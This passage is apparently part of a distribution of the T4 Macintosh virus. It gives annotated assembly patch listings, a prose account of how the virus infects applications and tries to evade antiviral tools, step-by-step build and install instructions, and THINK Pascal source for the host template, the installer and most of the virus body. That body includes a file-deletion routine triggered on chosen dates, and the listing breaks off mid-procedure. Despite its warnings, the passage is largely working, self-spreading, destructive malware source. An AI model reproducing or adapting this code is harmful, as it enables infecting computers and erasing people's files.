  578. --------------- VIRUS ----------------------------------------------------------
  579. ***********************************************************
  580. Case WITH Resume Procedure:
  581. ***********************************************************
  582. 00000014:4E56 0000    ;LINK    A6,#$0000    ;start of main link frame
  583. 00000018:486D xxxx    ;PEA    -$xxxx(A5)    ;push address of "theport"
  584. 0000001C:A86E        ;_InitGraf        ;initialization starts...
  585. 0000001E:A8FE        ;_InitFonts        ;rest of initialization...
  586. 00000020:A912        ;_InitWindows    ;rest of initialization...
  587. 00000022:A930        ;_InitMenus        ;rest of initialization...
  588. 00000024:A9CC        ;_TEInit        ;rest of initialization...
  589. 00000026:6100 000E        ;BSR    *+$000C    ;jump to virus (00000038:)
  590. 0000002A:4E71        ;NOP            ;no operation
  591. 0000002C:xxxx        ;xxxx            ;rest of application code
  592. 0000002E:xxxx        ;xxxx            ;rest of application code
  593. 00000030:xxxx        ;xxxx            ;rest of application code
  594. 00000032:xxxx        ;xxxx            ;rest of application code
  595. 00000034:4E5E        ;UNLK    A6    ;end of main link frame
  596. 00000036:4E75        ;RTS            ;return to finder
  597. --------------- VIRUS ----------------------------------------------------------
  598. 00000038:xxxx        ;xxxx            ;start of viral code
  599. 0000003A:A97B        ;_InitDialogs    ;don't forget InitDialogs
  600. 0000003C:xxxx        ;xxxx            ;continue viral code
  601. 0000003E:xxxx        ;xxxx            ;continue viral code
  602. 00000040:xxxx        ;xxxx            ;continue viral code
  603. 00000042:xxxx        ;xxxx            ;continue viral code
  604. 00000044:4E75        ;RTS            ;return to caller (0000002A:)
  605. --------------- VIRUS ----------------------------------------------------------
  606. ***********************************************************
  607. There are several problems the virus may encounter:
  608. 1)The application does not call InitDialogs at all. In that case, it is immune against the T4 virus.
  609. 2)The toolbox is NOT initialized in the correct order. If this happens, havoc will prevail, since the 
  610. viral body contains calls to the window manager which assumes that InitWindows has been called. 
  611. Note also that the virus must call InitDialogs from within its main body IMMEDIATELLY after the 
  612. branch since that manager must be initialized as well. Finally, the virus will infect any application 
  613. that calls InitDialogs, except maybe those which use strange instructions such as a
  614. MOVE.L    #$00000000,-(SP), to push a longword on the stack.This is however relatively rare, since 
  615. most compilers and assemblers will push a long on the stack using the CLR.L -(SP) instruction. 
  616. (There is a very rare case where the patch code ($42A7,$A97B,CLR.L -(SP),_InitDialogs) is not 
  617. actually initialization, rather, it is data. In this case the virus will patch the wrong place in the code, 
  618. resulting in a bad crash. These cases are very rare though.)
  619. Thus using a correct strategy with appropriate signatures, it may be possible to repeat the above 
  620. process a number of times, every time patching the routine InitDialogs in its new location. This will 
  621. force multiple infections, but will still work.
  622. The virus works as follows: It first scans the disk for files of type APPL. When it finds one, it checks 
  623. if it is already infected, by looking for the signature 'T4VIRS'. If it is infected (i.e. if the signature 
  624. appears somewhere) it leaves the file alone and closes it. Then goes to the next file it finds. If the 
  625. application does not contain the signature T4VIRS, then the virus scans all CODE resources, until it 
  626. finds one with the above or similar initialization sequence. If it doesn't find the initialization sequence 
  627. in any of the CODE segments, the application is immune against the T4 virus. If it finds the trap 
  628. _InitDialogs embedded in one CODE segment, then:
  629. 1)It adjusts the CODE resource attributes by subtracting the resprotected
  630. attribute, not changing the other attributes. The older versions of the virus, the ones released in the 
  631. U.S. cleared the resource attributes, thus resulting in corrupted data for the CODE resource segments 
  632. that it processed if the resource is compressed (newer attribute that was added later)
  633. 2)It performs a patch on that CODE resource, by inserting the proper 'jump' instructions to the main 
  634. body of the virus, and appends the virus to the end of the current CODE resource. The virus uses as 
  635. little memory as possible, but there is no guarantee that the host will behave normally when it is 
  636. forced to deal with a couple more handles lurking around.
  637. In case of an error, the virus tries to bypass the rest of the viral code,
  638. and exit gracefully, but there is no guarantee that it will not bomb.
  639. In particular, there is one point (the main patch call) where the viral call may fail because of an 
  640. antiviral tool. Every effort has been made to circumvent this point successfully, but there is no telling 
  641. what an antiviral program may do. Another problem will occur if the complete pathname of the 
  642. application to be infected is longer than 255 chars.
  643. Some effort has been made to that extent to avoid this situation by avoiding directories that are nested 
  644. too deep, by scanning for files and directories that are only 255 characters deep. The actual scanning 
  645. depth may be changed to force the virus to scan say only 40 characters deep, eliminating large 
  646. recursive calls, thus minimizing the stack. Another point that needs to be taken care of is the 
  647. registers. Upon exiting the virus body, the application must find the registers containing the exact same
  648. values they had at the moment of entry. Thus, an explicit save on all registers (D0-D7,A0-A5) is required,
  649. since the virus will use some of them. The viral signature (resource type 'cntr') contains an integer counter
  650. in the first byte. The byte starts at the value of 0. Every time the infected application is run, the counter
  651. is incremented by 1. When the counter reaches values that are multiple of 10, the virus will show on 
  652. screen the icon of a small virus. The virus may reinfect an application, with probability 1 in 100. The 
  653. older versions of the virus, (the ones released in the U.S.) used a different tactic on infecting 
  654. applications. The infection resource was of type 'STR ', and the counter was the first byte (the length 
  655. byte) of that resource. Consequently, if there is an encounter of the two viruses, the old virus will 
  656. infect the newer virus, but the newer will not infect the old, since it looks at the actual code signature 
  657. which is embedded within the CODE resource. The older version relied entirely on the 'STR ' 
  658. resource counter for its decisions about infection. As a result, if one has an application that does not 
  659. call _InitDialogs, with no 'STR ' resource, it would have opened it, examined it, and it would have 
  660. closed it without attaching an infection resource. On another run, it would have opened it again and 
  661. would have gone through the same cycle, therefore finding an obstacle in its directory scan algorithm.
  662. For example, a script editor application, would present a barrier against other
  663. infections on the same disk. The rewritten version, bypasses that problem, by looking whether an 
  664. application can be infected. When the virus opens a file, it will determine whether an application can 
  665. be infected, and if not, it will skip that file. The older version also had no limit on the number of 
  666. characters for a directory filename scan, which would cause it to crash if the directory complete 
  667. pathname was longer than 255 chars. The newer version will scan only as deep as it can go, provided 
  668. the pathname is shorter than 255. The older version altered boot code that had to do with the loading 
  669. of extensions. The newer version does not. The older version assumed the alias name 'Disinfectant' 
  670. (renaming itself into it) so it would confuse the user into thinking that Disinfectant was making 
  671. changes. In the newer version that is not possible anymore, because the Antiviral programs took this information
  672. from the low memory global "CurAppName", but now take it from the process manager using probably "GetProcessInfo".
  673. The older version stopped scanning when an error<>noerr occurred. This means that
  674. if the infected application was on a server with locked folders, it would stop on the first available 
  675. folder with insufficient privileges that generated the error. The newer version, checks only for fnferr, 
  676. which is the correct way to pause the recursive subroutine. Consequently, the newer version will 
  677. encounter the insufficient privileges error, but will continue scanning if found on a server.
  678. The timing of the virus is based on the phrase 'AMORE FINITUS'. Take the English Alphabet, count 
  679. it, starting with A=1, and the months on which the virus activates are the letters of the phrase 
  680. 'AMORE FINITUS'.
  681. The hours are a plain 12-hour cycle starting with 9-10 for January, 10-11 for February, etc.
  682. The complete project consists of several smaller projects in THINK PASCAL:
  683. 1)T4FirstHost-(Generates the first dummy application to host the body of the T4virus)
  684. 2)T4Main-(Generates the virus body)
  685. 3)T4Appl-(Runs the virus as an application for debugging)
  686. 4)T4Install-(Joins the virus body along with the application T4FirstHost)
  687. 5)Scan-(Scans the hard drive in exactly the same manner that the virus does)
  688. The installation of the virus goes as follows:
  689. Open the project T4FirstHost. Select "Build Application...". Name it "T4FirstHost".
  690. Open the project T4Main. Select "Build Code Resource...". Name it "T4body".
  691. From the Finder, duplicate the application T4FirstHost.Name it "T4FirstHost Copy".
  692. Open the project T4Install. Adjust the pathnames to reflect your folder
  693. structure then select "Go".
  694. If all is successful, the application T4FirstHost Copy is a ready infected
  695. application with the T4(D) virus. BE VERY CAREFULL WHEN YOU RUN THIS APPLICATION. 
  696. PREFERABLY, DON'T RUN IT AT ALL. IT WILL INFECT YOUR APPLICATIONS IN YOUR 
  697. HARD DISK IN THE BEST CASE, IT WILL ERASE YOUR HARD DRIVE IN THE WORST. THE 
  698. AUTHOR DOES NOT BARE ANY RESPONSIBILITY IF YOU WANT TO EXPERIMENT WITH 
  699. THE VIRUS. IN PARTICULAR IF YOU TRY TO RELEASE THE VIRUS, YOU ARE LIABLE TO 
  700. CRIMINAL PENALTIES. YOU HAVE BEEN WARNED.
  701. If however you want to track the virus, you can use an antiviral tool such as GateKeeper to monitor 
  702. the operations performed by T4, provided it is not an erase date, cause then GateKeeper won't stop it 
  703. from erasing your files.
  704.  
  705. THE FIRST HOST APPLICATION
  706.  
  707. {*********************************************************}
  708. {Test prototype host for the T4 virus. It hosts the virus simulating a real}
  709. {application}
  710. {WARNING: DO NOT RUN THIS PROGRAM;SELECT BUILD APPLICATION ONLY}
  711. {*********************************************************}
  712. program T4FirstHost;
  713. {$I-}
  714. {the following procedures are needed to simulate the conditions on the}
  715. {infected appl}
  716. procedure bsrvirus;
  717.  inline $6100, $0010;
  718. procedure applicationcode;
  719.  inline $4E71, $4E71, $4E71, $4E71;
  720. begin
  721.  initgraf(@theport);
  722.  initfonts;
  723.  initwindows;
  724.  initmenus;
  725.  teinit;
  726.  bsrvirus;
  727.  applicationcode;
  728. end.
  729.  
  730. When you select "Build Application" on the above file, a template host is created, which is a 
  731. totally useless application, unless the virus is attached onto it. I have arranged the branching to take 
  732. place correctly, so when the virus is installed, it will immediately activate. NOTE: If you try to run 
  733. this app without first installing the virus onto it, you can tell what will happen. The PC will take a 
  734. branch into Twilight Zone, since the "bsrvirus" procedure will branch exactly immediately after the 8 
  735. bytes of "applicationcode", which is God knows where. When we install the virus later the "bsrvirus" 
  736. will branch into the appended virus segment, therefore activating the virus. So, here comes the 
  737. Installer:
  738.  
  739. THE T4 INSTALLER APPLICATION
  740.  
  741. {prototype installer for the T4 virus}
  742. {This program assumes the existence of the file "T4FirstHost copy" to which it attaches the virus 
  743. body, after modifying the header slightly to branch to the correct places. It opens the two resource 
  744. files (their pathnames must be corrected to reflect your directory structure) and manipulates the main 
  745. CODE resource of the two files. Errors are written out as they occur during runtime.}
  746. {WARNING:DO NOT RUN UNLESS YOU HAVE BUILT THE APPLICATION "First Host Copy", 
  747. FIRST}
  748. program t4install;
  749.  label 1000;
  750.  type
  751.   headercode = array[1..6] of longint;
  752.   headerptr = ^headercode;
  753.   headerhandle = ^headerptr;
  754.  var
  755.   refnum1, refnum2, attrs: integer;
  756.   err: oserr;
  757.   thevirus, thehost, icon, copy: handle;
  758.   theheader: headerhandle;
  759.   tr: rect;
  760.   str1, str2: str255;
  761. begin
  762.  setrect(tr, 100, 100, 400, 400);
  763.  setTextRect(tr);
  764.  showtext;
  765.  str1 := 'Hard Disk:T4:T4Main:T4body';
  766.  str2 := 'Hard Disk:T4:T4FirstHost:T4FirstHost Copy';
  767.  refnum1 := openresfile(str1);
  768.  err := reserror;
  769.  writeln('openresfile:', err);
  770.  if err <> 0 then goto 1000;
  771.  thevirus := getresource('CODE', 1);
  772.  writeln('getresource:', reserror);
  773.  hlock(thevirus);
  774.  writeln('hlock:', memerror);
  775.  refnum2 := openresfile(str2);
  776.  err := reserror;
  777.  writeln('openresfile:', err);
  778.  if err <> 0 then goto 1000;
  779.  icon := geticon(maxint);
  780.  copy := newhandle(128);
  781.  hlock(icon);
  782.  hlock(copy);
  783.  blockmove(icon^, copy^, 128);
  784.  hunlock(copy);
  785.  hunlock(icon);
  786.  addresource(copy, 'ICON', maxint, '');
  787.  writeln('addresource:', reserror);
  788.  thehost := getresource('CODE', 1);
  789.  writeln('getresource:', reserror);
  790.  attrs := getresattrs(thehost);
  791.  writeln('getresattrs:', reserror, attrs);
  792.  setresattrs(thehost, 0);
  793.  writeln('setresattrs:', reserror);
  794.  hlock(thehost);
  795.  writeln('hlock:', memerror);
  796.  writeln('host:', gethandlesize(thehost), ' virus:', gethandlesize(thevirus));
  797.  theheader := headerhandle(thevirus);
  798.  theheader^^[1] := $48E70080;    {movem.l    a0,-(sp)    ;save a0}
  799.  theheader^^[2] := $41FAFFFA;    {lea        *-$0006,A0    ;load virus entry point}
  800.  theheader^^[3] := $21C809CE;    {move.l    a0,$09CE ;put in toolscratch}
  801.  theheader^^[4] := $4CDF0100;    {movem.l    (sp)+,a0    â•ž;restore a0}
  802.  theheader^^[5] := $60060000;    {bra.s    *+$0006    ;jump off next}
  803.  theheader^^[5] := bor(theheader^^[5], integer('T4'));
  804.  theheader^^[6] := longint('VIRS');
  805.  writeln('handandhand:', handandhand(thevirus, thehost));
  806.  changedresource(thehost);
  807.  writeln('changedresource:', reserror);
  808.  hunlock(thevirus);
  809.  hunlock(thehost);
  810.  closeresfile(refnum2);
  811.  writeln('closeresfile:', reserror);
  812.  closeresfile(refnum1);
  813.  writeln('closeresfile:', reserror);
  814.  disposehandle(icon);
  815.  disposehandle(copy);
  816. 1000:
  817. end.
  818.  
  819. The file is actually pretty self explanatory. We use a special interpretation of the virus header 
  820. as a handle of an array of 6 longints, to be able to set the desired header quickly. There are two 
  821. resource files that get manipulated.  We get refnums to both of them, get a hold of the virus CODE 
  822. segment, we lock it, then we create a copy of the icon that the virus uses, we add the icon to the file, 
  823. and then we masage the virus header to put some vital information on it. Specifically, we save register 
  824. A0, load the virus entry point into it, and put it in the toolscratch low memory global. Then we restore 
  825. A0, and insert some virus branching instructions to its main code. In order to understand exactly the 
  826. format of a code segment resource, look at the THINK Pascal manual, where those formats are 
  827. described. For those who don't have the manual, here's what a code resource header looks like, as built 
  828. by THINK Pascal:
  829. Offset            Contents
  830. 0            BRA.S    *+$10 (branch to header code)
  831. 2            $0000        (unused)
  832. 4            'TYPE'    (resource type)
  833. 8            $000A    (resource id)
  834. 10($A)            $0000        (unused)
  835. 12($C)            $0000        (unused)
  836. 14($E)            $0000        (unused)
  837.  
  838. Of course we don't have much use for the above stuff, so we modify the header to suit our 
  839. needs. Note that the virus signature gets loaded in the last six bytes of the header. Note the call to 
  840. "HandAndHand" which actually appends the virus code segment to the host code, by duplicating the 
  841. handle involved. If, during installation you see any non-zero error codes written to output, this means 
  842. that the specified routine has failed for some reason. Check your pathnames first. If they are unset, the 
  843. program will fail.
  844.  
  845. THE T4 VIRUS MAIN SEGMENT
  846.  
  847. {WARNING:THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF THIS 
  848. PROGRAM}
  849. {*********************************************************}
  850. {This unit is the Virus in Malignant form. After all the procedures have been tested,}
  851. {the Virus can be installed from the executable form of this unit}
  852. {*********************************************************}
  853. {COMPILER VARS:}
  854. {APPL=TRUE:Execution of the virus as an application for debugging}
  855. {          =FALSE:Creates the final virus module}
  856. {           WARNING:If APPL=TRUE the application virus will CORRUPT the file it 
  857. proccesses}
  858. {as it inserts A5 relative code which will NOT work on other applications}
  859. {DEBUG=TRUE:includes code for displaying system errors}
  860. {            =FALSE:Just beeps when error happens}
  861. {*********************************************************}
  862. {VERSION: 7.6.0 of Thursday November 7 1996 (MUTATED VERSION "E" with new icons)}
  863. {*********************************************************}
  864. {$IFC APPL}
  865. {$D+}
  866. {$ELSEC}
  867. {$D-}
  868. {$ENDC}
  869. {$IFC APPL}
  870. program T4debug;
  871. {$I-}
  872. {$ELSEC}
  873. unit T4infect;
  874. interface
  875.     procedure Main;
  876. implementation
  877. {$ENDC}
  878. {$IFC APPL}
  879. {*********************************************************}
  880. {'Here' calculates its own address (the address of '*' below) and is needed to give the application 
  881. version of T4 some idea of where its executable code resides in relation to the actual loaded CODE 
  882. segments of this program. It is used only by the APPL version}
  883. {*********************************************************}
  884. procedure Here (var addr: ptr);
  885. inline
  886. {from THINK PASCAL: *PEA    $xx(A6);to push the address of 'addr'}
  887. $48E7, $00C0,    {MOVEM.L    A0-A1,-(SP)    ;save old registers}
  888. $41FA, $FFF6,     {LEA        -8(PC),A0    ;load pc-8 in a0}
  889. $226F, $0008,     {MOVEA.L    8(SP),A1    ;load address of 'addr' in a1}
  890. $2288,         {MOVE.L    A0,(A1)    ;load pc-8 in 'addr'}
  891. $4CDF, $0300,     {MOVEM.L    (SP)+,A0-A1    ;restore regs}
  892. $584F;        {ADDQ    #4,SP        ;pop argument}
  893. {*********************************************************}
  894. {If the application version gets the 'bomb', this is the clean way out...}
  895. {*********************************************************}
  896.     procedure DSError;
  897.     begin
  898.     exittoshell;
  899.     end;
  900. {$ENDC}
  901. {*********************************************************}
  902. {This is the actual 'infection' procedure (also the virus 'body')}
  903. {*********************************************************}
  904. procedure Main;
  905. label 1000, 1001;
  906. const
  907.  initDtrap = $A97B;        {'InitDialogs' trap}
  908.  nop = $4E71;            {680x0 no operation}
  909.  charscanningdepth = 255;    {maximum length of pathname}
  910. type
  911.   {selectors for type of patch to code segment}
  912. patchtype = (moveorclear, pea);
  913. {interpretation of CODE resource as arrays of integers}
  914. wordarray = array[0..maxint] of integer;
  915. wordptr = ^wordarray;    {pointer to array above}
  916. wordhandle = ^wordptr;    {handle to array above}
  917. scratch8bytes = ptr;{scratch area for use by applications at $000009CE}
  918. toolscratch = ^scratch8bytes;
  919. cinfopbhandle = ^cinfopbptr; {directory scan parameter block handle}
  920. HParamBlockHandle = ^HParmBlkPtr; {parameter block for PBHSetFInfo}
  921. var
  922.  scratch: toolscratch; {scratch is the address $000009CE as a pointer}
  923. virusaddr: ptr;    {virus loading address}
  924. err: oserr;    {general error}
  925. opened,    {opened (to be infected) appl's reference number}
  926. active,    {Main (running) application's reference number}
  927. lastresource, index, i, j,    {general counters}
  928. vrefnum,    {volume reference number}
  929. initDoffset,    {offset of trap _InitDialogs into CODE segment}
  930. attributes    {resource file or resource attributes}
  931.     : integer;
  932. h,        {CODE resource to be patched handle}
  933. icon        {icon handle coming from Main resource file}
  934. : handle;
  935. segsize,    {CODE segment to be patched, size}
  936. virussize    {size of virus CODE module}
  937. : longint;
  938. iconrect,    {rectangle for displaying ICON}
  939. wbounds    {bounds rect for window (debug or display)}
  940. : rect;
  941. thewindow,    {window for display}
  942. oldport    {to save the old port}
  943. : windowptr;
  944. cipbh: cinfopbhandle;    {directory scan parameter block handle}
  945. pathname: str255;    {complete pathname of application to be infected}
  946. scanname: string[31];{partial file name returned by the scanning proc}
  947. theworld: sysenvrec;    {default system vars}
  948. foundone,    {TRUE if there is a candidate for infection}
  949. Busy,    {TRUE if resource file is opened}
  950. sizeok,    {TRUE if CODE size + VIRUS size <=32767}
  951. hasinitDialogstrap,{TRUE if  $A97B resides somewhere in a CODE resource}
  952. reinfect,     {TRUE if VIRUS counter is a multiple of 40}
  953. canbeinfected,    {= sizeok AND hasinitDialogstrap}
  954. show        {TRUE if counter is a multiple of 10}
  955. : boolean;
  956. patch: patchtype;    {moveorclear or pea, depending on the patch we perform}
  957. Delete: boolean;    {If TRUE, all hell breaks loose}
  958. ApplicationFile,     {TRUE if type=APPL or Finder or MultiFinder}
  959. SystemFile: boolean;    {TRUE if SystemFile}
  960. Frame: integer;    {Frames for Cursor Animation}
  961. OldTicks: Longint;    {For Cursor Animation}
  962. theAnimatedCursor: array[0..7] of CursHandle;{the Animated Cursors}
  963. {$IFC NOT APPL}
  964. {*********************************************************}
  965. {Upon entry to a procedure, THINK does a save on D7/A2-A3. To avoid any complications we save 
  966. and restore all registers ourselves, just in case...}
  967. {*********************************************************}
  968. procedure SaveRegisters;
  969. inline
  970. $48E7, $FFFC;    {MOVEM.L    D0-D7/A0-A5,-(SP)}
  971. procedure RestoreRegisters;
  972. inline
  973. $4CDF, $3FFF;    {MOVEM.L    (SP)+,D0-D7/A0-A5}
  974. {$ENDC}
  975. {$IFC DEBUG}
  976. {*********************************************************}
  977. {On errors returned by OS, this is some sample code that displays them}
  978. {*********************************************************}procedure DebugWindow 
  979. (str: str255);
  980. begin
  981. setrect(wbounds, 156, 100, 756, 200);{set window coordinates to something big}
  982. thewindow := newwindow(nil, wbounds, '', true, altdboxproc, pointer(-1), false, 0);    {bring new 
  983. window}
  984. getport(oldport);    {save old port}
  985. setport(thewindow);    {set port to debug window}
  986. moveto(25, 65);    {move pen to location}
  987. textfont(geneva);
  988. textsize(9);
  989. drawstring(str);    {draw the wanted string}
  990. setport(oldport);    {set port to saved port}
  991. while not button do ;
  992. while button do ;
  993. disposewindow(thewindow);    {dispose window}
  994. end;
  995. {$ENDC}
  996. {*********************************************************}
  997. {The following is Here for debugging the code segment using 2 different ways depending on the 
  998. variables DEBUG and APPL.}
  999. {*********************************************************}
  1000. function IsErr (err: oserr): boolean;
  1001. {$IFC DEBUG}
  1002. var
  1003. str: str255;
  1004. {$ENDC}
  1005. begin
  1006. if err <> noerr then
  1007. begin
  1008. {$IFC APPL}
  1009. writeln(err);
  1010. {$ELSEC}
  1011. {*sysbeep(2);*}
  1012. {early versions of the virus beeped when an error occured}
  1013. {$IFC DEBUG}
  1014. numtostring(err, str);
  1015. DebugWindow(str);
  1016. {$ENDC}
  1017. {$ENDC}
  1018. IsErr := true;
  1019. end
  1020. else
  1021. IsErr := false;
  1022. end;
  1023. {*********************************************************}
  1024. {Evil Dates determines whether the Date is an erase date, or just a replication date}
  1025. {*********************************************************}
  1026. function EvilDate: boolean;
  1027. var
  1028.  theDate: DateTimeRec;
  1029.  temp: boolean;
  1030. begin
  1031.  GetTime(theDate);    {Get the Current Date to determine if it's an evil date}
  1032.  with theDate do
  1033.  begin
  1034.  temp := (Month = 1) and (Day = 1) and (Hour = 9);
  1035. {Days make 'AMORE FINITUS'}
  1036. temp := temp or ((Month = 2) and (Day = 13) and (Hour = 10));
  1037. temp := temp or ((Month = 3) and (Day = 15) and (Hour = 11));
  1038. temp := temp or ((Month = 4) and (Day = 18) and (Hour = 12));
  1039. temp := temp or ((Month = 5) and (Day = 5) and (Hour = 13));
  1040. temp := temp or ((Month = 6) and (Day = 6) and (Hour = 14));
  1041. temp := temp or ((Month = 7) and (Day = 9) and (Hour = 15));
  1042. temp := temp or ((Month = 8) and (Day = 14) and (Hour = 16));
  1043. temp := temp or ((Month = 9) and (Day = 9) and (Hour = 17));
  1044. temp := temp or ((Month = 10) and (Day = 20) and (Hour = 18));
  1045. temp := temp or ((Month = 11) and (Day = 21) and (Hour = 19));
  1046. temp := temp or ((Month = 12) and (Day = 19) and (Hour = 20));
  1047. end;
  1048. EvilDate := temp;
  1049. end;
  1050. {*********************************************************}
  1051. {SpinCursor Spins the Cursor watch so that the user is informed that the mac is not hanged}
  1052. {*********************************************************}
  1053. procedure SpinCursor;
  1054. var
  1055.  NewTicks: longint;
  1056. begin
  1057.  NewTicks := TickCount;
  1058.  if abs(NewTicks - OldTicks) >= 50 then
  1059.  begin
  1060.   frame := (frame + 1) mod 8;
  1061.   SetCursor(theAnimatedCursor[frame]^^);
  1062.   OldTicks := NewTicks;
  1063.  end;
  1064. end;
  1065. {*********************************************************}
  1066. {gotoffset returns the offset of 'key' found in the data handle h, of size size. Returns false and offset=-
  1067. 1 if 'key' not found}
  1068. {*********************************************************}
  1069. function GotInitDTrap (h: handle;    {CODE handle to examine}
  1070.         size: longint;        {size of the handle}
  1071.         var offset: integer): boolean;    {returned offset as an integer from start of 
  1072. handle}
  1073. var
  1074.  off: integer;
  1075.  found: boolean;
  1076. begin
  1077.  hlock(h);
  1078.  offset := -1;
  1079.  found := false;
  1080.  for off := 2 to size div 2 do{size is in bytes. Since we access ints, it's half}
  1081.  if wordhandle(h)^^[off] = initDtrap then
  1082.   if (wordhandle(h)^^[off - 1] = $42A7) or (band($F000,         wordhandle(h)^^[off - 1]) = 
  1083. $2000) then
  1084.    begin    {this is the first case. The form of the CODE resource}
  1085.     patch := moveorclear; {is CLR.L -(SP) or MOVE.L An/Dn -(SP) followed by}
  1086.    found := true;    {_InitDialogs}
  1087.    offset := off;    {set offset to off}
  1088.    leave;    {exit for loop}
  1089.   end
  1090.  else if (band(wordhandle(h)^^[off - 2], $FF00) = $4800) then
  1091.   begin    {this is the second case. The form of the CODE resource}
  1092.    patch := pea;    {is PEA xxxx(A5) followed by _InitDialogs}
  1093.    found := true;
  1094.    offset := off;    {set offset to off}
  1095.    leave;    {exit loop}
  1096.   end;
  1097.  GotInitDTrap := found;
  1098.  hunlock(h);
  1099. end;
  1100. {*********************************************************}
  1101. {gotLONGoffset returns the offset of a longint 'key' found in the data handle h, of size size Returns 
  1102. false and offset=-1 if 'key' not found. It is a slight variation of the function above}
  1103. {*********************************************************}
  1104. function GotSignature (h: handle;    {CODE handle to examine}
  1105.                 size: longint): boolean;
  1106. var
  1107.  off: integer;
  1108.  found: boolean;
  1109. begin
  1110.  hlock(h);
  1111.  found := false;
  1112.  for off := 2 to size div 2 do {size is in bytes. Since we access longs, it's one half}
  1113.   if wordhandle(h)^^[off] = integer('T4') then
  1114.    if (wordhandle(h)^^[off + 1] = integer('VI')) and (wordhandle(h)^^[off + 2] = integer('RS')) then
  1115.     begin {segment contains data 'T4VIRS'}
  1116.      found := true;    {}
  1117.      leave;    {exit for loop}
  1118.     end;
  1119.    GotSignature := found;
  1120.   hunlock(h);
  1121. end;
  1122. {*********************************************************}
  1123. {If the Application is infected the following returns TRUE, FALSE otherwise}
  1124. {*********************************************************}
  1125. function IsInfected: boolean;
  1126. label 1002;
  1127. var
  1128. index: integer;
  1129. ItIs: boolean;
  1130. begin
  1131.  ItIs := False;
  1132.  lastresource := count1resources('CODE');    {how many CODE segments?}
  1133. if lastresource > 0 then    {if none, bad appl}
  1134.  begin    {start looking}
  1135.   for index := 1 to lastresource do
  1136.    begin
  1137.     h := get1indresource('CODE', index);    {get CODE segment}
  1138.     if IsErr(reserror) then goto 1002;
  1139.     segsize := sizeresource(h);    {get segment's size}
  1140.     if IsErr(reserror) then goto 1002;
  1141.     ItIs := GotSignature(h, segsize);
  1142.     if ItIs then leave
  1143.     else releaseresource(h);    {release unwanted mem}
  1144.   end;{for index}
  1145.  end;{if lastresource}
  1146. 1002:
  1147.  IsInfected := ItIs;
  1148. end;
  1149. {*********************************************************}
  1150. {the following examines whether an application is infected, not infected or can be reinfected. It also 
  1151. opens the resource fork of the application to be infected so that we can process later the patch. Upon 
  1152. exit from this routine, we have: 1)opened the resource file to be infected. 2)a CODE segment handle h 
  1153. of the CODE resource to be infected, 3) the code id size and 4)the InitDialogs trap offset in 
  1154. initDoffset. If the Global variable "Delete" is true, then the scanning procedure goes through the 
  1155. entire disk erasing all the non application files (i.e. all the files of not type APPL or Finder or 
  1156. MultiFinder). The virus will not erase the Main System Files such as the System or System Update or 
  1157. System Enabler}
  1158. {*********************************************************}
  1159. procedure ExamineApplication;
  1160. label 1002;
  1161. const
  1162. ThreeK = 3072;
  1163. var
  1164. index: integer;
  1165. begin
  1166.  sizeok := false;    {size NOT ok to start}
  1167.  hasinitDialogstrap := false;    {does NOT have InitDialogs trap}
  1168.  canbeinfected := false;    {cannot be infected, assume}
  1169.  err := rstflock(pathname, vrefnum);    {unlock, just in case}
  1170.  opened := openrfperm(pathname, 0, fsrdwrshperm); {open resource file}
  1171.  err := ResError;
  1172.  Busy := (err <> noErr) or (opened = active); {true if somehow resource file is used}
  1173.  if not Busy then    {don't infect Busy apps}
  1174.  begin
  1175.   attributes := getresfileattrs(opened); {maybe it's read only}
  1176.  if band(attributes, mapreadonly) = mapreadonly then
  1177.   begin
  1178.   attributes := attributes - mapreadonly + mapchanged;{clear old attributes}
  1179.   setresfileattrs(opened, attributes);    {set new flags}
  1180.   end;
  1181.  useresfile(opened);    {make current just in case}
  1182.   reinfect := TickCount mod 100 = 66; {reinfect with probability 1/100}
  1183.   if not IsInfected or reinfect then    {it is not infected or to be reinfected}
  1184.   begin    {look if it is a candidate for infection}
  1185.    lastresource := count1resources('CODE'); {how many CODE segments?}
  1186.   if lastresource > 0 then    {if none, bad appl}
  1187.    begin    {start looking}
  1188.    for index := 1 to lastresource do
  1189.     begin
  1190.      h := get1indresource('CODE', index);    {get CODE segment}
  1191.      if IsErr(reserror) then goto 1002;
  1192.      segsize := sizeresource(h);    {get segment's size}
  1193.      if IsErr(reserror) then goto 1002;
  1194.      hasinitDialogstrap := GotInitDTrap(h, segsize, initDoffset);
  1195.      if hasinitDialogsTrap then sizeok := segsize + virussize <= maxint;
  1196.     canbeinfected := sizeok and hasinitDialogstrap;
  1197.     if canbeinfected then leave
  1198.     else releaseresource(h);    {release unwanted mem}
  1199.   end;{for index}
  1200.  end;{if lastresource}
  1201.  end;{if not IsInfected}
  1202.  end;{if not Busy}
  1203. 1002:
  1204.  if not Busy and not canbeinfected then
  1205.  begin
  1206.  closeresfile(opened);{if not us, or if not Busy, or cannot be infected, close it}
  1207.  PurgeMem(ThreeK);    {Purge Unwanted Memory}
  1208.  end;
  1209.  foundone := canbeinfected;
  1210. end;
  1211. {*********************************************************}
  1212. {The following brings the next clean application from the directory. It returns the complete pathname 
  1213. of the next app in the hard drive that does not contain a cntr resource of id=32767 and is not running. 
  1214. Implemented recursively It will scan directories as deep as determined by the constant 
  1215. charscanningdepth}
  1216. {*********************************************************}
  1217. procedure NextUninfectedApplication (dirid: longint);
  1218. var
  1219.  indx: integer;
  1220.  err: oserr;
  1221. begin
  1222.  indx := 0;
  1223.  repeat
  1224.   indx := indx + 1;
  1225.   with cipbh^^ do
  1226.    begin
  1227.     ionameptr := @scanname;
  1228.     iofdirindex := indx;
  1229.     iodirid := dirid;
  1230.     iovrefnum := 0;
  1231.     err := pbgetcatinfo(cipbh^, FALSE);
  1232.     if (err <> noerr) and (err <> fnferr) then
  1233.     if IsErr(err) then ;
  1234.     if err = noerr then
  1235.      begin
  1236.       if length(pathname) + length(scanname) <= charscanningdepth then        {don't look 
  1237. deeper than charscanningdepth chars}
  1238.      begin
  1239.       pathname := concat(pathname, ':', scanname);    {stack}
  1240.       if bittst(@ioflattrib, 3) then    {directory}
  1241.        NextUninfectedApplication(iodirid)
  1242.       else
  1243.        begin
  1244.         ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and 
  1245. (ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder');
  1246.         SystemFile := pos(scanname, 'System') <> 0;
  1247.         if not Delete and ApplicationFile then
  1248.          ExamineApplication{if type=APPL}
  1249.         else if Delete and not ApplicationFile and not SystemFile then
  1250.          err := HDelete(vrefnum, 0, pathname);
  1251.         end;
